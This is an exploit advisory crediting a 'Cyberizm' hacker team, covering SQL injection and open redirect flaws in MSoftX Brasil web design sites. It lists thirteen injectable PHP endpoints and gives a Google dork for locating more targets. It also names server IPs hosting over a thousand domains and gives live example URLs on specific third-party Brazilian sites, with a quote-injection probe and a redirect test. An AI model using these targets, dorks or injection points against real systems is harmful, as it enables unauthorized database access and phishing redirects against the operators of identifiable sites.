##########################################################
# Exploit Title : Desenvolvimento MSoftX Brasil Web Design SQL Injection and Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 11/01/2019
# Vendor Homepage : msoftx.com ~ msoftx.com.br
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:''Desenvolvimento MSoftX''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
##########################################################
# SQL Injection Exploit :
***********************
/convenios_ver.php?tipo_convenio=[SQL Injection]
/ver_espacocultural.php?id=[SQL Injection]
/ver_mensagem.php?id=[SQL Injection]
/ver_informativo.php?id=[SQL Injection]
/ver_evento.php?id=[SQL Injection]
/ver_noticia.php?id=[SQL Injection]
/ver_instalacao.php?id=[SQL Injection]
/ver_modalidade.php?id=[SQL Injection]
/ver_campeonato.php?id=[SQL Injection]
/noticias.php?id=[SQL Injection]
/compartilha_noticia.php?id=[SQL Injection]
/video.php?id=[SQL Injection]
/classificados/corpo_destaque_classificados.php?id=[SQL Injection]
/curtir_pagina_site.php?url=[OPEN-REDIRECTION-LINK-HERE]
##########################################################
# Example Vulnerable Site :
*************************
Note => (185.169.96.133) => There are 1,055 domains hosted on this server.
Note => (177.85.96.153) => There are 1,243 domains hosted on this server
[+] afmm.com.br/ver_noticia.php?id=2062%27
[+] lauribittencourt.com.br/noticias.php?id=47%27 =>
[ Proof of Concept ] => archive.fo/zdkwB
[+] msoftx.com.br/classificados/corpo_destaque_classificados.php?id=15%27
[+] afmm.com.br/curtir_pagina_site.php?url=https://cxsecurity.com/
##########################################################
# SQL Database Error :
**********************
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for
the right syntax to use near ''2062''' at line 1
##########################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
##########################################################